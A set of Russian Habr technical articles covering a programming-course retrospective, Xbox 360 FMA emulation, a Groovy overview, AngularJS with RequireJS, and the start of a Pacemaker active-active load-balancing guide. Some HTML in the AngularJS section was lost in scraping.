На следующих занятиях мы пытались создать новую реакцию и соответствующую ей функцию-конструктор. Сначала я пытался опять наскоками (целыми строками кода) вбить решение в головы, однако, существенных результатов это не дало. Поэтому пришлось разбирать в течение нескольких занятий примерно такой код:
```
var кот = "9";
console.log(кот);
```
К сожалению, донести смысл этих двух строк кода так и не удалось: ребята путались в том, что такое переменная, а что такое значение. На этом проблемы не закончились: в новой функции нужно было работать с массивом, что оказалось просто невозможно объяснить. Мне ещё предстоит научиться объяснять переменные и массивы в ходе следующих курсов.
К концу занятий мы, конечно, функцию написали, но понимания и последующей веры в себя, выраженной в горящем энтузиазме, как это было на седьмом занятии, уже не было.
**Последнее занятие**
На последнем занятии вместо стандартного круга приветствия я попросил каждого (включая себя) высказаться, что понравилось в курсе (+), а что стоит изменить (-). Получилась следующая таблица:
Как ни странно, ребятам не нравилось писать на доске, несмотря на то, что она увеличивала эффективность изложения материала. С одной стороны, была "объёмная программа", а с другой — "одно и то же каждый урок", т.е. повторение пройденного ранее материала.
Раз в несколько занятий мы сохраняли результат на GitHub. Давалось это тоже нелегко: мы тратили до получаса на то, чтобы каждый вошёл в свою учётную запись. Как всегда, никто не помнил свой пароль (причём каждый раз) либо для подтверждения захода с нового устройства требовался доступ к почте, пароль от которой либо тоже никто не помнил, либо почта была родительская (ребята звонили родителям).
Так или иначе, у каждого ученика к концу курса осталась собственная версия игры с персональными заставкой и концовкой:
**Выводы**
С одной стороны, были явные успехи:
* инструмент оказался неприхотливым и полностью работоспособным;
* концепция последовательностей была хорошо принята.
С другой стороны, были явные неудачи:
* инструмент предполагает навык работы с JavaScript, чем ученики не обладали;
* программа обучения буксовала практически все занятия.
Поэтому в ходе курса обучения программированию 2020-го года я попробую ответить на следующие вопросы:
1. Будет ли другой язык (Python, Lua) проще для объяснения и работы?
2. Можно ли скрыть работу с Git внутри инструмента, чтобы сохранять результат на [Git, не покидая инструмента](https://isomorphic-git.org/)?
3. Можно ли сделать декларативный API по аналогии со [SwiftUI](https://medium.com/someswift/swiftui-dsl-%D0%BD%D0%B0-%D0%BC%D0%B0%D0%BA%D1%81%D0%B8%D0%BC%D0%B0%D0%BB%D0%BA%D0%B0%D1%85-891741685efe)?
4. Как всё-таки объяснить переменные и массивы?
Ответы на эти и другие вопросы будут через год ;)
PS English version is available [here](https://habr.com/ru/post/488174/). | https://habr.com/ru/post/488166/ | null | ru | null |
# Упражнения в эмуляции: инструкция FMA консоли Xbox 360
Много лет назад я работал в отделе Xbox 360 компании Microsoft. Мы думали над выпуском новой консоли, и решили, что было бы здорово, если эта консоль сможет запускать игры с консоли предыдущего поколения.
Эмуляция — это всегда сложно, но она оказывается ещё труднее, если твоё корпоративное начальство постоянно меняет типы центральных процессоров. В первом Xbox (не путать с Xbox One) использовался ЦП x86. Во втором Xbox, то есть, простите, в Xbox *360* использовался процессор PowerPC. В третьем Xbox, то есть в Xbox *One*, использовался ЦП x86/x64. Подобные скачки между разными [ISA](https://en.wikipedia.org/wiki/Instruction_set_architecture) не упрощали нам жизнь.
Я участвовал в работе команды, которая учила Xbox 360 эмулировать многие игры первого Xbox, то есть эмулировать x86 на PowerPC, и за эту работу получил титул *«ниндзя эмуляции»*. Затем меня попросили изучить вопрос эмуляции ЦП PowerPC консоли Xbox 360 на ЦП x64. Заранее скажу, что удовлетворительного решения я не нашёл.
FMA != MMA
----------
Одним из самых волновавших меня аспектов было умножение-сложение с однократным округлением (fused multiply add), или инструкции [FMA](https://en.wikipedia.org/wiki/Multiply%E2%80%93accumulate_operation#Fused_multiply%E2%80%93add). Эти инструкции получали на входе три параметра, перемножали два первых, а затем прибавляли третий. Fused означало, что округление не выполняется до конца операции. То есть умножение выполняется с полной точностью, после чего выполняется сложение, и только затем результат округляется до окончательного ответа.
Чтобы показать это на конкретном примере, давайте представим, что мы используем десятичные числа с плавающей запятой и двумя разрядами точности. Представим это вычисление, показанное в виде функции:
> `FMA(8.1e1, 2.9e1, 4.1e1), или 8.1e1 * 2.9e1 + 4.1e1, или 81 * 29 + 41`
`81*29` равно `2349` и после прибавления 41 мы получаем `2390`. Округлив до двух разрядов, мы получаем `2400` или `2.4e3`.
Если у нас нет FMA, то нам придётся сначала выполнять умножение, получить `2349`, что округлится до двух разрядов точности и даст `2300 (2.3e3)`. Затем мы прибавляем `41` и получаем `2341`, что *снова* будет округлено и мы получим окончательный результат `2300 (2.3e3)`, который менее точен, чем ответ FMA.
> Примечание 1: `FMA(a,b, -a*b)` вычисляет ошибку в `a*b`, что вообще-то круто.
>
>
>
> Примечание 2: Один из побочных эффектов примечания 1 заключается в том `x = a * b – a * b` может не вернуть ноль, если компьютер автоматически генерирует инструкции FMA.
Итак, очевидно, что FMA даёт более точные результаты, чем отдельные инструкции умножения и сложения. Мы не будем углубляться, но согласимся с тем, что если нам нужно перемножить два числа, а затем прибавить третье, то FMA будет более точной, чем её альтернативы. Кроме того, инструкции FMA часто имеют меньшую задержку, чем инструкция умножения с последующей инструкцией сложения. В ЦП Xbox 360 задежка и скорость обработки FMA была равна этим показателям у *fmul* или *fadd*, поэтому использование FMA вместо *fmul* с последующей зависимой *fadd* позволяло снизить задержку вдвое.
Эмуляция FMA
------------
Компилятор Xbox 360 *всегда* генерировал [инструкции FMA](https://www.ibm.com/support/knowledgecenter/en/ssw_aix_72/com.ibm.aix.alangref/idalangref_fmadd_instrs.htm), как векторные, так и скалярные. Мы не были уверены, что выбранные нами процессоры x64 будут поддерживать эти инструкции, поэтому критически важно было эмулировать их быстро и точно. Необходимо было, чтобы наша эмуляция этих инструкций стала идеальной, потому что по предыдущему опыту эмуляции вычислений с плавающей запятой я знал, что «достаточно близкие» результаты приводили проваливанию персонажей сквозь пол, разлёту автомобилей за пределы мира, и так далее.
Так что же *нужно* для идеальной эмуляции инструкций FMA, если ЦП x64 не поддерживает их?
К счастью, подавляющее большинство вычислений с плавающей запятой в играх выполняется с точностью float (32 бита), и я с радостью мог использовать в эмуляции FMA инструкции с точностью double (64 бит).
Кажется, что эмуляция инструкций FMA, имеющих точность float, с помощью вычислений с точностью double должна быть простой (*голос рассказчика: но это не так; работа с плавающей запятой никогда не бывает простой*). Float имеет точность 24 бит, а double — точность 53 бита. Это значит, что если преобразовать входящие float в точность double (преобразование без потерь), то затем можно выполнять умножение без ошибок. То есть для хранения полностью точных результатов достаточно всего 48 бит точности, а у нас есть больше, то есть всё в порядке.
Затем нам нужно выполнить сложение. Достаточно всего лишь взять второе слагаемое в формате float, преобразовать его в double, а затем сложить его с результатом умножения. Так как в процессе умножения округления не происходит, и оно выполняется только после сложения, этого совершенно достаточно для эмуляции FMA. Наша логика идеальна. Можно объявлять о победе и возвращаться домой.
Победа была так близка…
-----------------------
Но это не работает. Или, по крайней мере, завершается неудачей для части входящих данных. Поразмыслите самостоятельно, почему так может произойти.
> Звучит музыка удержания звонка…
Сбой возникает, потому что по определению FMA умножение и сложение выполняются с полной точностью, после чего результат округляется то точности float. Нам *почти* удалось этого добиться.
Умножение происходит без округления, а затем, после сложения, выполняется округление. Это *похоже* на то, что мы пытаемся сделать. Но округление после сложения выполняется с точностью *double*. После этого нам нужно сохранить результат с точностью float, из-за чего снова происходит округление.
Уф-ф-ф. [Двойное округление](https://www.exploringbinary.com/double-rounding-errors-in-floating-point-conversions/).
Наглядно показать это будет сложновато, так что давайте вернёмся к нашим десятичным форматам с плавающей запятой, где точность single — это два десятичных разряда, а точность double — четыре разряда. И давайте представим, что мы вычисляем `FMA(8.1e1, 2.9e1, 9.9e-1)`, или `81 * 29 + .99`.
Совершенно точным ответом этого выражения будет `2349.99` или `2.34999e3`. Округлив до точности single (два разряда), мы получим `2.3e3`. Посмотрим, что пойдёт не так, когда мы попробуем эмулировать эти вычисления.
Когда мы выполняем умножение `81` и `29` с точностью double, то получаем `2349`. Пока всё отлично.
Затем мы прибавляем `.99` и получаем `2349.99`. По-прежнему всё отлично.
Этот результат округляется до точности double и мы получаем `2350 (2.350e3)`. Ой-ёй.
Мы округляем это до точности single и по правилам IEEE [округления до ближайшего чётного](https://news.ycombinator.com/item?id=7135880) получаем `2400 (2.4e3)`. Это неверный ответ. Он имеет слегка бОльшую ошибку, чем правильно округлённый результат, возвращаемый инструкцией FMA.
Вы можете заявить, что проблема в правиле IEEE окружения до ближайшего чётного. Однако, какое бы правило округления вы ни выбрали, всегда будет случай, когда двойное округление возвращает результат, отличающийся от истинной FMA.
Чем же всё закончилось?
-----------------------
Полностью удовлетворяющего меня решения этой проблемы мне найти не удалось.
Я ушёл из команды Xbox задолго до выпуска Xbox One и с тех пор не уделял консоли особого внимания, поэтому не знаю, к какому решению они пришли. В современных ЦП x64 есть инструкции FMA, способные идеально эмулировать такие операции. Также можно каким-то образом использовать для эмуляции FMA математический сопроцессор x87 — я не помню, к какому выводу пришёл при изучении этого вопроса. А возможно, разработчики просто решили, что результаты достаточно близки и их можно использовать. | https://habr.com/ru/post/447680/ | null | ru | null |
# Groovy за 15 минут – краткий обзор
Groovy — объектно-ориентированный язык программирования разработанный для платформы Java как альтернатива языку Java с возможностями Python, Ruby и Smalltalk.
Groovy использует Java-подобный синтаксис с динамической компиляцией в JVM байт-код и напрямую работает с другим Java кодом и библиотеками. Язык может использоваться в любом Java проекте или как скриптовый язык.
Возможности Groovy (отличающие его от Java):
— Статическая и динамическая типизация
— Встроенный синтаксис для списков, ассоциативных массивов, массивов и регулярных выражений
— Замыкания
— Перегрузка операций
[<http://ru.wikipedia.org/wiki/Groovy>]
Более того, почти всегда java-код — это валидный groovy-код.
### Установка
Для установки нужно скачать архив с [оф. сайта](http://groovy.codehaus.org/Download) , распаковать его в удобное место и добавить переменyю окружения GROOVY\_HOME, и добавить путь до groovy/bin в PATH:
```
export GROOVY_HOME=~/path/to/groovy/
export PATH=$GROOVY_HOME/bin:$PATH
```
В IDE NetBeans 7.0 поддержка groovy идет из коробки, для IDE Eclipse существует очень хороший плагин, который можно взять [здесь](http://groovy.codehaus.org/Eclipse+Plugin).
### Groovy
Самое главное отличие от java: в Groovy всё является объектами. Все примитивные типы сразу же упаковываются в объекты. Т.е. «int x» на самом деле является «Integer x»
```
println 1.class
int a = 10
println a.class
```
```
class java.lang.Integer
class java.lang.Integer
```
Следует не забывать о том, что все упаковочные типы — неизменяемые, поэтому каждый раз при каком-либо вычислении будет создаваться новый объект.
### Строки в Groovy
1) Java Strings — строки в одинарных кавычках
2) Groovy Strings, они же GStrings — в обычных кавычках
В строках groovy можно вставлять параметры, в обычные строки — нельзя
```
javaString = 'java'
groovyString = "${javaString}"
j = '${javaString}'
bigGroovyString = """
${javaString}
${groovyString}
${j}
${2 + 2}
"""
println bigGroovyString
```
```
java
java
${javaString}
4
```
К строкам применимы операции + и \*
```
groovy:000> a = "a"
===> a
groovy:000> a + "123"
===> a123
groovy:000> a * 5
===> aaaaa
```
Так же к строкам применимы ++ и - — (т.к. в groovy поддерживается перегрузка операторов)
```
groovy:000> a = 'abc'
===> abc
groovy:000> a++
===> abd
groovy:000> a--
===> abс
```
В groovy есть поодержка регулярных выражений на уровне конструкций языка:
```
groovy:000> r =~ '^a$'
===> java.util.regex.Matcher[pattern=^a$ region=0,1 lastmatch=]
```
### Встроенная поддержка maps + lists
Так же на уровне конструкций языка поддерживаются словари (maps) и списки:
```
groovy:000> a = [1, 3, 5]
===> [1, 3, 5]
groovy:000> b = [1: true, 0: false]
===> {1=true, 0=false}
```
### Ranges
Получать доступ к элементам списков в groovy можно следующим образом:
```
groovy:000> a = "0123456789"
===> 0123456789
groovy:000> a[1..4]
===> 1234
groovy:000> a[1..-1]
===> 123456789
groovy:000> a[-1..0]
===> 9876543210
groovy:000> a[1..<9]
===> 12345678
groovy:000> a[1, 3, 5]
===> 135
groovy:000> b = 1..5
===> 1..5
groovy:000> a[b]
===> 12345
```
Range — это такой же объект, поэтому возможны конструции, подобные последней. Отрицательные индексы, как в python, возвращают элементы с конца списка.
Range можно составить из строк:
```
groovy:000> 'a'..'aa'
===> a..aa
```
Более того, range можно сделать из любого объекта, у которого есть методы next() и prev().
### Циклы
Циклы в groovy точно такие же, как и в java, плюс к ним добавляется еще один «foreach»:
```
for (i in 0..9) {
print i
}
for (int i = 0; i < 9; ++i) {
print i
}
for (Integer i : 0..9) {
print i
}
```
### Функции
```
def functionA(argA) {
print ArgA
}
int functionB(int argB) {
print argB
return argB
}
String fuctionC() {
"Hello World"
}
```
Ключевое слово return указывать не обязательно — по умолчанию будет возвращено значение последней упомянутой переменной в фукции.
### Closures
Closure — это анонимная функция
```
def cl = {a, b ->
println a
println b
}
cl(1, 2)
```
У многих объектов есть методы, в качестве параметров которым передаются closure:
```
1.upto 10, {
print it
}
10.times {
print it
}
```
Доступно большое количество методов для обработки последовательностей, к которым можно применять замыкания:
```
'qwerty'.each {
print it
}
('a'..'z').each {
print it
}
('a'..'z').findAll { el -> // = filter
el in ['e', 'y', 'u', 'i', 'o', 'a']
}.each {
print it + ' '
}
(0..10).collect { el -> // = map
el * 10
}.each {
print it + ' '
}
def sum = (0..10).inject(0) { prev, elem -> // = reduce
return prev + elem
}
```
В closure так же не обязательно использовать ключевое слово return. Если явно не задано имя параметру, то по умолчанию используется it.
Так как closure является объектом, то ничего не мешает возвращать его из другого closure, и таким образом создавать функции высших порядков:
```
def cloA = {param ->
def cloB = {
return param * 10
}
}
def b = cloA(10)
println b(10)
```
### Файлы
Для директорий есть функции eachFile и eachFileRecursive:
```
new File('.').eachFile {
println it
}
```
```
./.project
./src
./.settings
./.classpath
./bin
```
Для обработки текстовых файлов — функция eachLine:
```
new File('textfile.txt').eachLine {
println it
}
```
Писать в файлы так же очень удобно:
```
def pw = new File('textfile.txt').newPrintWriter()
pw.println("new line")
```
### Классы
```
class Account {
String name
BigDecimal value
}
// конструктор по умолчанию добавляется автоматически
// такой конструктор - синтаксический сахар для
// a = new Account()
// a.setName("Account #1")
// a.setValue(new BigDecimal(10))
a = new Account(name : "Account #1", value : new BigDecimal(10))
// геттеры и сеттеры генерируются автоматически
def name = a.getName()
a.setName("Account #2")
println "${a.name}"
class Person {
def first
def last
// явно задаем сеттер
void setFirst(first) {
println "${this.first} is becoming ${first}"
this.first = first
}
}
p = new Person(first : "A", last : "G")
// если обращаться к полю, то будет использоваться сеттер
p.first = "C"
println "${p.first} ${p.last}"
// наследвание как в java
class ExtendedAccount extends Account {
def debt
// задаем конструктор
ExtendedAccount(name, value, debt) {
setName(name)
setValue(value)
setDebt(debt)
}
def String toString() {
"${name} ${value} ${debt}"
}
}
// тут будет ошибка "Could not find matching constructor for: ExtendedAccount()"
//e = new ExtendedAccount()
println new ExtendedAccount("A", new BigDecimal(10), 1)
```
Неизменяемые классы задаются с помощью аннотации [Immutable](http://groovy.codehaus.org/gapi/groovy/transform/Immutable.html):
```
@Immutable
class ImmutableClass {
String a
Integer b
}
def ic = new ImmutableClass(a : "a", b : 1)
```
При использовании этой аннотации нужно явно указывать, какого типа данных поле.
### Операторы
"?:" Elvis operator
```
def b = a ?: "b"
```
Проверяет переменную a, и если в ней null или false, то берет указанное следом значение. Иначе берется значение переменной a.
"?." Safe navigation
Используется для избежания ошибки NullPointerException
```
def user = Users.get("a")
def posts = user?.posts
println posts
```
Вернет null, если если в user содержится null вместо того, чтобы бросать NullPointerException.
"\*." Spread operator
Применяет указанный метод для всех элементов какой-либо коллекции. Эквивалент следующему:
```
parent*.action == parent.collect {ch -> child?.action}
```
Пример использования:
```
def sizes = ['string', 'long string']*.size()
println sizes
```
```
[6, 11]
```
Так же монжо использовать для составления списков и словарей:
```
def x = [2, 3]
def y = [0, 1, *x, 4]
println y
def a = [3 : 'c', 4 : 'd']
def b = [1 : 'a', 2: 'b', * : a, 5 : 'e']
println b
```
```
[0, 1, 2, 3, 4]
[1:a, 2:b, 3:c, 4:d, 5:e]
```
В Groovy можно перегружать операторы +, -, \* и т.п. Для этого нужно определить соотвествующий метод для класса. Например, для перегрузки оператора ++ нужно переопределить метод next():
```
class RandomVal {
// для этого поля не будут сгенерированы сеттеры и геттеры
private def value
private Random randomGen = new Random()
def next() {
this.value = randomGen.nextInt()
}
RandomVal() {
this.value = randomGen.nextInt()
}
def String toString() {
"${this.value}"
}
}
def r = new RandomVal()
println(r)
r++
println(r)
```
Оператор "==" уже перегружен для всех объектов — и вызывает метод «isEquals()». Полный список методов, которые нужно переопределить для перегрузки операторов, доступен здесь: <http://groovy.codehaus.org/Operator+Overloading>.
### SQL
SQL запросы обрабатываются очень просто:
```
import groovy.sql.Sql
def final ADDRESS = "jdbc:jtds:sqlserver://serverName/dbName"
def final USERNAME = "username"
def final PASSWD = "password"
def final DRIVER = "net.sourceforge.jtds.jdbc.Driver"
sql = Sql.newInstance(ADDRESS, USERNAME, PASSWD, DRIVER)
sql.eachRow("select * from tableName") { el ->
println "${el.id} -- ${el.firstName}"
}
def firstName = "A"
def lastName = "G"
sql.execute("insert into tableName (firstName, lastName) " +
"values (${firstName}, ${lastName})")
sql.execute("insert into tableName (firstName, lastName) " +
"values (?, ?)", [firstName, lastName])
```
### XML
В groovy существуют билдеры, которые можно использовать для генерации XML. Для генерации создается экземпляр объекта MarkupBuilder, на котором вызываются псевдо-методы — название этого метода и переданные параметры будет использоваться для генерации тега:
```
import groovy.xml.MarkupBuilder
def mb = new MarkupBuilder()
mb.html() {
head() {
title("This is the title")
}
body() {
div("class" : "main") {
p("this is the body")
}
}
}
```
Вывод:
```
This is the title
this is the body
```
В качестве параметра конструктору MarkupBuilder можно передавать любой PrintWriter:
```
def fb = new MarkupBuilder(new File("index.html").newPrintWriter())
```
Парсинг XML так же очень простой:
```
import groovy.xml.MarkupBuilder
import java.io.StringWriter
def sw = new StringWriter()
def mb = new MarkupBuilder(sw)
mb.html() {
body() {
div("class" : "main") {
p("this is the body")
}
div() {
p("this is the body 1")
p("this is the body 2")
p("this is the body 3")
}
}
}
def xml = sw.toString()
println xml
import groovy.util.XmlParser;
def parser = new XmlParser()
def doc = parser.parseText(xml)
//def doc = parser.parse("index.html")
println doc.body.div[1].p[1] // возвращает Node
println doc.body.div[1].p // возвращает список, состоящий из Node
println doc.body.div["@class"] // список значений аттрибута class для всех div
```
Вывод:
```
this is the body
this is the body 1
this is the body 2
this is the body 3
p[attributes={}; value=[this is the body 2]]
[p[attributes={}; value=[this is the body 1]], p[attributes={}; value=[this is the body 2]],
p[attributes={}; value=[this is the body 3]]]
[main, null]
```
### Groovlets
С помощью класса GroovyServlet возможно запускать скрипты на Groovy как сервлеты.
В первую очередь, для этого нужно добавить несколько строчек в web.xml:
```
GroovyServlet
groovy.servlet.GroovyServlet
GroovyServlet
\*.groovy
```
Теперь все запросы для файлов .groovy будут обрабатываться классом GroovyServlet.
В этих скриптах уже доступны для использования следующие переменные:
— request & response
— context, application, session
— out (= response.getWriter())
— sout (= response.getOutputStream())
— html (= new MarkupBuilder(out))
```
html.html() {
body() {
div("class" : "main") {
p("this is the body")
}
div() {
p("this is the body 1")
p("this is the body 2")
p("this is the body 3")
}
}
}
```
Отдаст браузеру сгенерированную html-страницу.
### Список используемых источников:
Kenneth Barclay, John Savage «Groovy programming: an introduction for Java developers»
<http://groovy.codehaus.org/> | https://habr.com/ru/post/122127/ | null | ru | null |
# ANGULARJS + REQUIREJS
Во время разработки проектов мы полюбили AngularJs. Но также мы встретили некоторые трудности в борьбе за чистоту модульности, с которой AngularJs справляется хорошо, но все же порой ему чего-то не хватает. RequireJs оказывается полезным там, где AngularJs оставляет желать лучшего, но использование их вместе — не совсем тривиальная задача.
Итак, опишем наш взгляд на решение проблемы.
##### Для чего?
Работая с AngularJs вы обязательно задумаетесь о правильной организации кода. Конечно уже существуют отличные примеры решения проблемы. Например можно изучить [теоретический пост Брайана Форда](http://briantford.com/blog/huuuuuge-angular-apps.html) или [практическое руководство Клиффа Мейерса](http://cliffmeyers.com/blog/2013/4/21/code-organization-angularjs-javascript). Я же поделюсь способом организации кода в приложениях AngularJs с использованием RequireJs.
Данный подход будет полезен, если вы хотите:
* перестать беспокоиться о подключении скриптов в правильном порядке;
* загружать javascript код асинхронно;
* иметь возможность скомпилировать код в один минифицированный JS-файл;
##### Для кого?
Предполагается, что вы уже знаете основы AngularJs, а так же по крайней мере знакомы с подходом AMD и библиотекой RequireJs. Чтобы проиллюстрировать подход, я сначала подключу RequireJs для [Angular Seed](https://github.com/angular/angular-seed) и опишу вносимые изменения. Angular Seed структурирует код, разделяя файлы по назначению. Таким же образом поступлю и я.
##### Как?
###### Angular Seed Project
Давайте познакомимся со структурой кода в Angular Seed. Взгляните на код примера на [github](https://github.com/StarterSquad/startersquad.github.com/tree/master/examples/angularjs-requirejs-1):
* `app.js` файл используется для инициализации загрузки и конфигурирования приложения.
* сами файлы приложения — контроллеры (controllers), директивы (directives), фильтры (filters), сервисы (services).
* `index.html` с подключенными JS-файлами в нужном порядке.
* или `index-async.html`, который использует angular-loader.js или сторонние загрузчики, для загрузки зависимостей асинхронно.
Что ж, начнем.
###### Добавляем RequireJs
Взгляните на пример в [браузере](http://www.startersquad.com/examples/angularjs-requirejs-2/) или на [github](https://github.com/StarterSquad/startersquad.github.com/tree/master/examples/angularjs-requirejs-2).
###### Установка зависимостей
Для этого я использовал [bower](http://bower.io/). Код `bower.json`:
```
{
"name": "AngularJS + RequireJS Example",
"version": "0.1",
"main": "index.html",
"ignore": [
"**/.*",
"libs"
],
"dependencies": {
"angular": "latest",
"requirejs": "latest",
"requirejs-domready": "latest"
}
}
```
Положите файл `.bowerrc` рядом с `bower.json` и запустите `bower install`. Теперь все необходимые зависимости находятся в директории `libs`.
**index.html**
Разрушение будет хорошим началом! Откройте `index.html` и удалите все теги `. Выглядит чище, не так ли? Теперь подключите один скрипт перед закрывающим тегом` , который будет загружать библиотеку RequireJs, и поручит ей искать конфигурацию в файле `js/main.js`, указанном в атрибуте `data-main` тега ````
:
My AngularJS AngularJS + RequireJS App
* [view1](#/view1)
* [view2](#/view2)
Angular Require seed app: v
```
Это все что нам необходимо. Закройте файл `index.html`, поскольку он нам больше не потребуется.
**main.js**
Приступим к конфигуации RequireJS.
```
require.config({
// псевдонимы и пути используемых библиотек и плагинов
paths: {
'domReady': '../lib/requirejs-domready/domReady',
'angular': '../lib/angular/angular'
},
// angular не поддерживает AMD из коробки, поэтому экспортируем перменную angular в глобальную область
shim: {
'angular': {
exports: 'angular'
}
},
// запустить приложение
deps: ['./bootstrap']
});
```
Что только что произошло?
В блоке `paths` мы устанавливаем псевдонимы используемых библиотек и плагинов. Далее указываем что AngularJs должен быть виден в глобальной области видимости (для этого используется блок [shim](http://requirejs.org/docs/api.html#config-shim)). Так же указыавем, что для запуска приложения должен быть загружен `bootstrap.js`.
**bootstrap.js**
Сейчас нам нужно настроить AngularJs, именно для этого используется файл `bootstrap.js` (обратите внимание, что вам больше не нужно использовать `ng-app` в HTML коде приложения). Первым делом нам потребуется `routes.js`, который содержит конфигурацию маршрутов приложения, поэтому добавим его в список зависимостей.
Заметьте, что в этом модуле мы почти не имеем дело с асинхронной загрузкой, и цепочка подключения скриптов всегда будет
`angular->app->routes` так как они зависят от друг друга: AngularJs необходим до создания модуля приложения (app) который уже должен существовать при конфигурировании маршрутов (routes).
```
/**
* bootstraps angular onto the window.document node
*/
define([
'require',
'angular',
'app',
'routes'
], function (require, ng) {
'use strict';
require(['domReady!'], function (document) {
ng.bootstrap(document, ['app']);
});
});
```
Мы используем модуль `domReady`, чтобы пред запуском приложения убедиться, что DOM загружен. Также обратите внимание, что для запуска необходимо загрузить зависимость `app.js`, которая является основой приложения.
**app.js**
`app.js` содержит определение модуля верхнего уровня и загружает зависимости его подмодулей.
```
define([
'angular',
'./controllers/index',
'./directives/index',
'./filters/index',
'./services/index'
], function (ng) {
'use strict';
return ng.module('app', [
'app.services',
'app.controllers',
'app.filters',
'app.directives'
]);
});
```
Мы условились использовать четыре основных модуля: контроллеры (controllers), директивы (directives), фильтры (filters), сервисы (services). Указываем, что эти модули должны быть загружены до определения основного модуля.
**routes.js**
Конфигурация маршрутов (routes) осуществляется в этом файле. Кроме того возможно указывать маршруты для каждого модуля в отдельности (этот случай выходит за рамки данной статьи).
```
define(['./app'], function (app) {
'use strict';
return app.config(['$routeProvider', function ($routeProvider) {
$routeProvider.when('/view1', {
templateUrl: 'partials/partial1.html',
controller: 'MyCtrl1'
});
$routeProvider.when('/view2', {
templateUrl: 'partials/partial2.html',
controller: 'MyCtrl2'
});
$routeProvider.otherwise({
redirectTo: '/view1'
});
}]);
});
```
Структура модуля
Модули состоят из трех частей:
* объявление модуля
* компонент
* загрузчик
Давайте рассмотрим модуль `app.controllers` для примера.
Объявление модуля **controllers/module.js**
```
define(['angular'], function (ng) {
'use strict';
return ng.module('app.controllers', []);
});
```
Этот файл будет использоваться компонентами модуля для назначения самих себя (см. следующую часть)
Загрузчик модуля **controllers/index.js**
Это просто пустой блок define, который включает в себя все компоненты модуля. Здесь не нужно упоминать файл module.js так как он будет запрошен самими компонентами (в данном случае контроллерами). Загрузчик подключается как зависимость верхнего уровня модуля приложения. Благодаря ему RequireJs знает какие файлы загружать.
```
define([
'./my-ctrl-1',
'./my-ctrl-2'
], function () {});
```
Компонент модуля **controllers/my-ctrl-1.js**
В случае с модулем контроллера `app.controllers` компонентами будут отдельные контроллеры приложения. Пример определения контроллера:
```
define(['./module'], function (controllers) {
'use strict';
controllers.controller('MyCtrl1', [function ($scope) {}]);
});
```
Обратите внимание, что мы использовали ссылку на `./module.js` для того чтобы получить модуль и присоединить компонент к модулю.
Выводы:
Вот и все. Теперь мы имеем рабочее AngularJs приложение основанное на RequireJs. Вы можете наслаждаться разработкой не обращая внимания на порядок подключения ваших скриптов, а также этот подход позволит вам с легкостью минифицировать и объединить все файлы приложения в один.` | https://habr.com/ru/post/225931/ | null | ru | null |
# Балансировка нагрузки с Pacemaker и IPaddr (Active/Active cluster)
Хочу рассказать вам еще об одном способе балансировки нагрузки. Про Pacemaker и IPaddr (ресурс-агент) и настройке его для Active/Passive кластера сказано уже и так достаточно много, но информации по организации полноценного Active/Active кластера, используя этот модуль я нашел крайне мало. Постараюсь исправить эту ситуацию.
Для начала расскажу подробнее чем такой метод балансировки примечателен:
* **Отсутсвие внешнего балансировщика** — На всех нодах в кластере настраивается один общий виртуальный IP-адрес. Все запросы отправляются на него. Ноды отвечают на запросы на этот адрес случайно и по договоренности между ссобой.
* **Высокая доступность** — Если одна нода падает ее обязаности подхватывает другая.
* **Простота настройки** — Настройка осуществляется всего в 3-5 команд.
Вводные данные
--------------
Давайте посмотрим на картинку в начале статьи, мы увидим следующие устройства:
* **Gateway** — IP: 192.168.100.1
* **HostA** — IP: 192.168.100.101
* **HostB** — IP: 192.168.100.102
* **HostC** — IP: 192.168.100.103
Клиенты будут обращаться на внешний адрес нашего шлюза, тот будет перенаправлять все запросы на виртуальный IP 192.168.100.100, который будет настроен на всех трех нодах нашего кластера.
Подготовка
----------
Для начала нам нужно убедиться в том, что все наши ноды могут обращаться друг к другу по single hostname, для надежности лучше сразу добавить адреса нод в `/etc/hosts`:
```
192.168.100.101 hostA
192.168.100.102 hostB
192.168.100.103 hostC
```
Установим все необходимые пакеты:
```
yum install pcs pacemaker corosync #CentOS, RHEL
apt-get install pcs pacemaker corosync #Ubuntu, Debian
```
При установке pcs создает пользователя `hacluster`, давайте зададим ему пароль:
```
echo CHANGEME | passwd --stdin hacluster
```
Дальше операции выполняются на одном узле.
Настраиваем аутентификацию:
```
pcs cluster auth HostA HostB HostC -u hacluster -p CHANGEME --force
```
Создаём и запускаем кластер “Cluster” из трех узлов:
```
pcs cluster setup --force --name Cluster hostA hostB hostC
pcs cluster start --all
```
Смотрим результат:
```
pcs cluster status
```
**Вывод**
```
Cluster Status:
Last updated: Thu Jan 19 12:11:49 2017
Last change: Tue Jan 17 21:19:05 2017 by hacluster via crmd on hostA
Stack: corosync
Current DC: hostA (version 1.1.14-70404b0) - partition with quorum
3 nodes and 0 resources configured
Online: [ hostA hostB hostC ]
PCSD Status:
hostA: Online
hostB: Online
hostC: Online
```
*Некоторые шаги были позаимствованы из [статьи](https://habrahabr.ru/post/263091/) [Lelik13a](https://habrahabr.ru/users/lelik13a/), спасибо ему за это.*
В нашем конкретном случае ни кворум ни stonith нашему кластеру не требуется, так что смело отключаем и то и другое:
```
pcs property set no-quorum-policy=ignore
pcs property set stonith-enabled=false
```
В дальнейшем, если у вас появятся ресурсы для которых это необходимо, вы можете обратиться к [статье](https://habrahabr.ru/post/200348/) [Silvar](https://habrahabr.ru/users/silvar/).
Пара слов о MAC-адресах
-----------------------
Прежде чем мы приступим, нам нужно понимать что на всех наших нодах будет настроен одинаковый IP и одинаковый mac-адрес, по запросу на который они будут поочередно давать ответы.
Проблема в том, что каждый коммутатор работает таким образом, что во время работы он составляет свою таблицу коммутации, в которой каждый mac-адрес связывается с определенным физическим портом. Таблица коммутации составляется автоматически, и служит для разгрузки сети от "ненужных" L2-пакетов.
Так вот, если mac-адрес есть в таблице коммутации, то пакеты будут отправляться только в один порт за которым и закреплен этот самый mac-адрес.
К сожалению, нам это не подходит и нам необходимо удостовериться в том, что бы все наши хосты в кластере одновременно "видели" все эти пакеты. В противном случае эта схема работать не будет.
Для начала нам нужно удостовериться в том, что используемый нами mac-адрес является [multicast](https://en.wikipedia.org/wiki/Multicast_address#Ethernet)-адресом. То есть находится в диапазоне `01:00:5E:00:00:00` — `01:00:5E:7F:FF:FF`. Получив пакет для такого адреса наш коммутатор будет передавать его во все остальные порты, кроме порта источника. Кроме того, некоторые управляемые коммутаторы позволяют настроить и определить несколько портов для конткретного MAC-адреса.
